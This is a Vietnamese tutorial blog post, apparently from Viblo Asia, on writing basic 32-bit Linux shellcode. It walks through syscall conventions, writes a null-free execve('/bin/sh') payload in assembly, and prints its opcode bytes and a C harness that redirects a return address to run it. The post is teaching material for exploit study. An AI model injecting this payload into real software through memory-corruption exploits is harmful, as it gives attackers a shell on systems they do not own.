- vừa được xem lúc

Shellcode - Hướng dẫn tạo shellcode đơn giản

0 0 13

Người đăng: Vương Lê

Theo Viblo Asia

1. Các bước để thực hiện 1 system call

Như chúng ta đã biết, để thao tác với các function, ta thực hiện truyền các đối số vào trong các thanh ghi. System call cũng vậy, tuy nhiên có 1 vài điều đặc biệt cần lưu ý. Hầu hết các hệ thống đều tương đương nhau, ở đây mình sẽ nói về hệ điều hành 32 bits.

1.1 System call number (NR)

Có rất nhiều lệnh system call, vì vậy để tượng trưng cho mỗi lệnh, chúng ta dùng đến NR, ví dụ 1 số lệnh system call có NR tương ứng như sau.

  • exit() - NR = 0x01
  • read() - NR = 0x03
  • execve() - NR = 0x0b

Như vậy muốn thực hiện system call nào ta cần biết NR của nó trước hết, sau đó lưu vào thanh ghi eax (đối với 32 bits OS).

1.2 Argument của system call và các bước thực hiện system call

Các đối số còn lại sẽ được lưu vào các thanh ghi lần lượt ebx, ecx, edx, esi, edi, ebp (đối với hệ thống 32 bits). Tiếp theo là các bước thực hiện system call. Ta có 5 bước như sau:

  • Nạp NR vào thanh ghi eax
  • Lưu các đối số cần thiết vào các thanh ghi còn lại
  • Thực hiện lệnh int 0x80 (chuyển từ CPU mode qua Kernel mode)
  • CPU đổi qua Kernel mode
  • System call được thực thi

Như vậy ta đã hiểu cơ bản về system call. Để tìm hiểu thêm về NR và args của các OS khác, các bạn có thể tham khảo link sau: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

Tiếp theo chúng ta sẽ tiến hành viết 1 shellcode cơ bản.

2. Viết shellcode đơn giản

Mình sẽ thực hiện viết shellcode để lấy được 1 shell bằng lệnh execve("/bin/sh"). Như đã biết, lệnh nầy sẽ cho ta 1 shell. Để xem kết quả của function này, mình viết 1 file c như sau:

execve.c:

main(){ execve("/bin/sh"); }

Compile: gcc -m32 execve.c - o execve

Run:

┌──(kali㉿kali)-[~/Desktop/Binary Exploit/Shelcode]
└─$ ./execve
$ ls
execve execve.c exit runshell runshell.c shell shell.asm shell.o
$ whoami
kali
$ 

Vậy là với execve function ta có thể có được 1 shell, tiếp theo mình sẽ viết bằng ngôn ngữ asm.

shell.asm

Section .text global _start _start: jmp short GotoCall shellcode: pop esi xor eax, eax mov byte [esi+7], al mov byte al, 0x0b mov ebx, esi int 0x80
GotoCall: Call shellcode db "/bin/shJ"

Đây là shell đã tối ưu của mình, qua một số bước xử lý như sau:

  • Hạn chế sự xuất hiện của \x00 (NULL). Bởi vì mình dùng shell để tiêm vào với dạng string, nếu có sự xuất hiện của kí tự kết thúc string thì sẽ không thể thực hiện được. Vì vậy ở trên, thay vì mov eax, 0 sẽ tạo ra \x00 vì sự xuất hiện của 0, mình sử dụng lệnh xor eax, eax.
  • Đa dạng khả năng thực thi shellcode trên nhiều thiết bị. Ở đây mình dùng 1 trick nhỏ, đó là sử dụng lệnh db "/bin/shJ" để lưu chuỗi này vào stack, đồng thời địa chỉ của chuỗi này nằm trên cùng của stack. Tiếp theo sử dụng pop esi để lấy địa chỉ này ra và tiến hành viết shellcode dựa trên nó.

Đồng thời mình thực hiện lệnh mov byte [esi+7], al để set NULL cho /bin/shJ vào byte thứ 7. Sau đó đây NR 0x0b vào al bằng lệnh mov byte al, 0x0b. Cuối cùng là nạp địa chỉ của /bin/sh vào thanh ghi chứa đối số arg: mov ebx, esi và cuối cùng chạy lệnh int 0x80.

Tiếp theo sử dụng nasm để tạo file object: nasm -f elf shell.asm Ta nhận được 1 file shell.o Bước kế là sử dụng GNU linker để link object file: ld -m elf_i386 -o shell shell.c Ta nhận được 1 file shell. Bước cuối cùng là lấy opcodes từ trong file shell.

┌──(kali㉿kali)-[~/Desktop/Binary Exploit/Shelcode]
└─$ objdump -d shell shell: file format elf32-i386 Disassembly of section .text: 08049000 <_start>: 8049000: eb 0c jmp 804900e <GotoCall> 08049002 <shellcode>: 8049002: 5e pop %esi 8049003: 31 c0 xor %eax,%eax 8049005: 88 46 07 mov %al,0x7(%esi) 8049008: b0 0b mov $0xb,%al 804900a: 89 f3 mov %esi,%ebx 804900c: cd 80 int $0x80 0804900e <GotoCall>: 804900e: e8 ef ff ff ff call 8049002 <shellcode> 8049013: 2f das 8049014: 62 69 6e bound %ebp,0x6e(%ecx) 8049017: 2f das 8049018: 73 68 jae 8049082 <GotoCall+0x74> 804901a: 4a dec %edx ┌──(kali㉿kali)-[~/Desktop/Binary Exploit/Shelcode]
└─$ 

Lấy các opcode ta nhận được 1 shellcode như sau: \xeb\x0c\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\xcd\x80\xe8\xef\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a

Để kiểm tra xem shellcode có chạy không, các bạn có thể viết 1 file c như sau:

runshell.c

# include <stdio.h>
char shellcode[] = "\xeb\x0c\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\xcd\x80\xe8\xef\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a"; int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

Với con trẻ ret chính là con trỏ trả về được trỏ vào shellcode. Chạy chương trình này và ta nhận được 1 shell.

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tự viết Emulator: CHIP-8 Interpreter

Tự viết Emulator: CHIP-8 Interpreter. Nhắc đến game giả lập, chắc không ai lạ gì và ai cũng từng chơi qua (giả lập NES, Gameboy, PS1, PS2,.

0 0 16

- vừa được xem lúc

[ 11 Days with Assembly ] - Buổi 1: Introduction

Lời chào. Nguồn cảm hứng.

0 0 12

- vừa được xem lúc

Logical instruction and Condition in Assembly

Logical Instructions. Có thể bạn đã nghe qua các phép toán logic trong các ngôn ngữ lập trình phổ biến như là c và c++.

0 0 15

- vừa được xem lúc

Áp dụng cách chạy assembly của CPU vào coding cho python

1. Giới thiệu.

0 0 2

- vừa được xem lúc

OS Command Injection - Thực Thi Shell Code Cùng "Idol"

OS Command có lẽ đã không còn xa lạ với anh chị em khi sử dụng hệ điều hành bất cứ là windows hay là linux. Tuy nhiên, trong cái thuận tiện lại nảy sinh ra cái bất tiện, đó là OS Command Injection đã

0 0 184